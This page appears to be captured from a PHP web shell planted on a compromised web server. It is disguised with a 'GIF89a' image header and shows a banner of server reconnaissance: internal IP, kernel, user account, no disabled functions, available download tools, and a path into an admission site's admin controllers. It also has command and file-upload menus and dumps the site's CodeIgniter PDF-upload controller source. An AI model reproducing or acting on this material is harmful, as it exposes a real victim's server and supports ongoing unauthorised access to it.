GIF89a;
Server IP : 172.26.0.195 / Your IP : 3.142.198.51 Web Server : Apache System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64 User : jnclnmuac ( 1026) PHP Version : 8.0.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/jnclnmuac/public_html/web/../admission/application/hooks/../controllers/admin/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php /** * Description of Instruction * * @author Softpro India Pvt. Ltd */ class Instruction extends CI_Controller { //put your code here public function __construct() { parent::__construct(); } public function uploadInstructions() { if ($this->sessionvalidator->validateSession()) { $this->load->view('admin/uploadInstructions'); } else { redirect("admin/"); } } public function saveInstructionsFile() { if ($this->sessionvalidator->validateSession()) { if (empty($_FILES['insFile']['name'])) { $this->form_validation->set_rules('insFile', 'Instruction', 'required', array("required" => "Select Instruction PDF To Upload.")); $this->form_validation->run(); $this->uploadInstructions(); } else { $fileConfig["upload_path"] = "./assets/uploads/"; $fileConfig["allowed_types"] = "pdf"; $fileConfig["max_size"] = "1024"; $fileConfig["file_ext_tolower"] = TRUE; $fileConfig['overwrite'] = TRUE; $fileConfig['file_name'] = "instructions"; $this->load->library("upload", $fileConfig); //library to upload data $instructionFile=null; if (!$this->upload->do_upload("insFile")) { $this->session->set_flashdata("errorMessage", $this->upload->display_errors()); $this->uploadInstructions(); } else { $instructionFile = $this->upload->data()["file_name"]; $this->session->set_flashdata("successMessage", "File Uploaded Successfully."); redirect("admin/Instruction/uploadInstructions"); } } } else { redirect("admin/"); } } }